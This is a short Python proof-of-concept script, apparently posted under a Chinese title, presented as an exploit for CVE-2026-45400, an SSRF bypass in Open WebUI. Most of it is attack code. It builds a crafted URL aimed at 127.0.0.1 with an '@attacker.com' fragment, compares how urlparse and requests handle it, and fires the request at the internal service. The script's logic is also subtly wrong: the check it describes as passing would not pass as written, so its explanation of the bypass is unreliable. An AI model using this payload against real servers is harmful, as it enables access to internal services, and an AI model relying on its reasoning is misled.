CVE-2026-45400 Open WebUI SSRF bypass漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-45400 (Open WebUI SSRF Bypass) This script demonstrates the parsing difference between urlparse and requests. """ import requests from urllib.parse import urlparse # The malicious payload targeting the internal service # Example: Using the fragment '#' to confuse the parser # The validator sees 'attacker.com', but requests might go to 127.0.0.1 malicious_url = "http://127.0.0.1:80#@attacker.com" print(f"[+] Testing URL: {malicious_url}") # Simulation 1: How the vulnerable application validates (using urlparse) parsed = urlparse(malicious_url) print(f"[+] urlparse sees netloc (host): {parsed.netloc}") print(f"[+] App validation check: Is 'attacker.com' in {parsed.netloc}? -> {('attacker.com' in parsed.netloc)}") if 'attacker.com' in parsed.netloc: print("[!] Validation PASSED (App thinks it's safe)") # Simulation 2: How the application sends the request (using requests) # Note: requests library usually strips the fragment before sending the request print("\n[+] Sending request using requests library...") try: response = requests.get(malicious_url, timeout=5) print(f"[+] Request sent to: {response.url}") print(f"[+] Response Status Code: {response.status_code}") if response.status_code == 200: print("[!] SSRF Successful! Internal service accessed.") else: print("[-] Service returned non-200 status.") except requests.exceptions.ConnectionError: print("[-] Connection failed (Target might be offline or not vulnerable)") except Exception as e: print(f"[-] Error: {e}")